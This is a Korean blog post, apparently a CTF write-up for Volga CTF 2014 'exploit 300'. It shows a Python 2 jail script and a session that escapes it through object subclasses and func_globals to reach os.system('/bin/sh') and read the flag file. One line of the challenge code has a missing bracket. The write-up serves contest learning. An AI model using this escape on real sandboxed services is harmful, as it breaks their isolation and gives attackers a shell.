티스토리 뷰

Pwnable/CTF

Volga CTF 2014 [exploit 300]

err0rless313 2015. 1. 29. 22:12

Volga CTF 2014 exploit300


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Location: /home/john/exploit300.py
 
from sys import modules
modules.clear()
del modules
 
_raw_input     = raw_input
_BaseException = BaseException
_EOFError      = EOFError
 
# he-he
__builtins__.__dict__.clear()
__builtins__ = None
 
print '>>> Just escape me...'
 
while 1:
  try:
    d = { 'x' : None}
    exec 'x='+_raw_input()[:500in d
    print 'ret:', d['x']
  except _EOFError, e:
    raise e
  except _BaseException, e:
    print 'Exception:', e
cs



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> Just escape me...
().__class__.__base__.__subclasses__()[59]
ret: <class 'warnings.catch_warnings'>
().__class__.__base__.__subclasses__()[59].__init__
ret: <unbound method catch_warnings.__init__>
().__class__.__base__.__subclasses__()[59].__init__.func_globals
ret: {'filterwarnings': <function filterwarnings at 0xb747f8b4>,
...(omitted)
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].
__dict__["os"]
ret: <module 'os' from '/usr/lib/python2.7/os.pyc'>
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].
__dict__["os"].system("/bin/sh")            
$ ls
exploit300.py  flag.txt
$ cat flag.txt
The flag is i_l0ve_marS
cs




'Pwnable > CTF' 카테고리의 다른 글

GITS2012 [Pwnable 200]  (0) 2015.01.30
Volga CTF 2014 [exploit 400]  (0) 2015.01.30
Volga CTF 2014 [exploit 100]  (0) 2015.01.28
CSAW 2012 [Challenge1]  (0) 2015.01.23
CodeGate 2014 [ Angry Doreamon ]  (2) 2015.01.14
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함